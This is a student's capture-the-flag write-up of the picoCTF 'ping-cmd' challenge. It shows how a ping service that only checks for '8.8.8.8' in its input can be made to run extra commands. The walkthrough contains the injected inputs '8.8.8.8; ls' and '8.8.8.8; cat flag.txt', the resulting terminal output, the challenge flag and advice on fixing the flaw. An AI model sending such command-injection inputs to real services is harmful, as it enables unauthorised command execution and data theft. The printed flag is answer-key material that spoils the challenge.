

Challenge Write-Up: ping-cmd

Challenge Information

Student Name	Keyzia Joy Pascua
Section / Class	BSIT 3 - Networking
Challenge Name	ping-cmd
Category	General Skills
Points / Difficulty	Easy
Date Solved	August 17, 2026
Flag Format Given	picoCTF{...}

1. Challenge Description

ping-cmd is a command-injection challenge built around a webshell that runs a ping utility on the server. The prompt hints that the server only allows the address 8.8.8.8 to be pinged, but invites the player to get “creative” with the input — a strong signal that the ping command is being built by directly concatenating user input into a shell command rather than sanitizing it, and that a flag.txt file exists somewhere on the server that needs to be read out through that same input.

ping-cmd

General Skills Easy

by Yahaya Meddy · picoCTF 2026

Can you make the server reveal its secrets? It seems to be able to ping Google DNS, but what happens if you get a little creative with your input?

INSTANCE ⓘ

[Launch Instance](#) Additional details appear once you launch your instance.

HINTS ⓘ

- 1 The program uses a shell command behind the scenes.
- 2 Sometimes, You can run more than one command at a time.

FLAG ⓘ

[Submit](#)

debug info: {u: 1109650 e: p: c: 757 i: 298645}

[Bookmark](#) 11,002 96%

[Open in Workspace](#)

2. Initial Analysis / Reconnaissance

The instance is reached over a raw TCP connection rather than SSH, using `nc` to a given host and port. On connecting, the service prints a short banner explaining that it will ping whatever IP is entered, but that only the address `8.8.8.8` is permitted. Because the prompt only checks that the allowed address appears somewhere in the input, rather than requiring the input to be nothing but that address, this is a classic setup for OS command injection: appending a shell metacharacter such as a semicolon after the allowed IP lets an additional, arbitrary command ride along after the legitimate ping call.

3. Tools and Commands Used

Tool / Command	What it was used for	Result / Output
<code>nc mysterious-sea.picocftf.net 60859</code>	Open a raw connection to the challenge webshell	Connected; service printed its ping-prompt banner
<code>8.8.8.8; ls</code>	Chain an <code>ls</code> command after the allowed IP to break out of the ping-only input	Ping to <code>8.8.8.8</code> succeeded, then a directory listing showed <code>flag.txt</code> and <code>script.sh</code>
<code>8.8.8.8; cat flag.txt</code>	Chain a <code>cat</code> command to read the flag file directly through the same injection point	Ping output followed by the contents of <code>flag.txt</code>

4. Solution Walkthrough

Step 1

Connect to the challenge instance with the command given on the challenge page: `nc mysterious-sea.picocftf.net 60859`. The service immediately prompts: “Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8')”, making clear that user-supplied input is being fed straight into a ping command with only a loose restriction on its content.

Step 2

Rather than sending only the allowed address, append a shell command separator and a second command. Since the check only looks for `8.8.8.8` somewhere in the input, sending `8.8.8.8; ls` satisfies the filter while also letting the semicolon terminate the ping command and start a new one. The server runs the ping (four lines of ICMP output for `8.8.8.8`) and then, in the same shell, runs `ls` — listing `flag.txt` and `script.sh` in the working directory and confirming the injection works.

```
kyxxajoy@PASCUA:~$ nc mysterious-sea.picocftf.net 51448
Enter an IP address to ping! (We have tight security because we o
nly allow '8.8.8.8'): 8.8.8.8;ls
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=12.8 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=115 time=12.9 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 12.763/12.820/12.878/0.057 ms
flag.txt
script.sh
```

Figure 1. Sending “8.8.8.8; ls” reveals `flag.txt` and `script.sh` alongside the ping output.

Step 3

With the file's name confirmed, repeat the same trick to read it directly: send 8.8.8.8; cat flag.txt. The server again pings 8.8.8.8 as expected, and immediately after prints the contents of flag.txt to the connection — handing over the flag without ever needing shell access beyond this single injection point.

```
kyxxajoy@PASCUA:~$ nc mysterious-sea.picoctf.net 51448
Enter an IP address to ping! (We have tight security because we o
nly allow '8.8.8.8'): 8.8.8.8;cat flag.txt
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=12.8 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=115 time=12.8 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 12.827/12.833/12.839/0.006 ms
picoCTF{p1nG_c0mm@nd_3xpL0it_su33essFuL_a9326567}|
```

Figure 2. Sending "8.8.8.8; cat flag.txt" prints the flag directly after the ping output.

Additional steps (add as needed)

None needed — a single chained command (8.8.8.8; cat flag.txt) was enough once the injection point was identified with an ls first.

5. Flag

```
picoCTF{p1nG_c0mm@nd_3xpL0it_su33essFuL_a9326567}
```

6. Key Concept / What I Learned

The key concept is OS command injection: when a program builds a shell command by directly concatenating unsanitized user input — even input that is partially validated, like requiring a specific substring — an attacker can smuggle extra commands past that check using shell metacharacters such as ; (or &&, ||, |, backticks). The fix is to never build shell commands from raw user input; instead, pass arguments to a fixed command via an argument array (avoiding a shell entirely), or strictly allow-list/validate the entire input rather than just checking that it contains an allowed substring.

7. References

None beyond the challenge's own prompt and banner text shown by the webshell over netcat.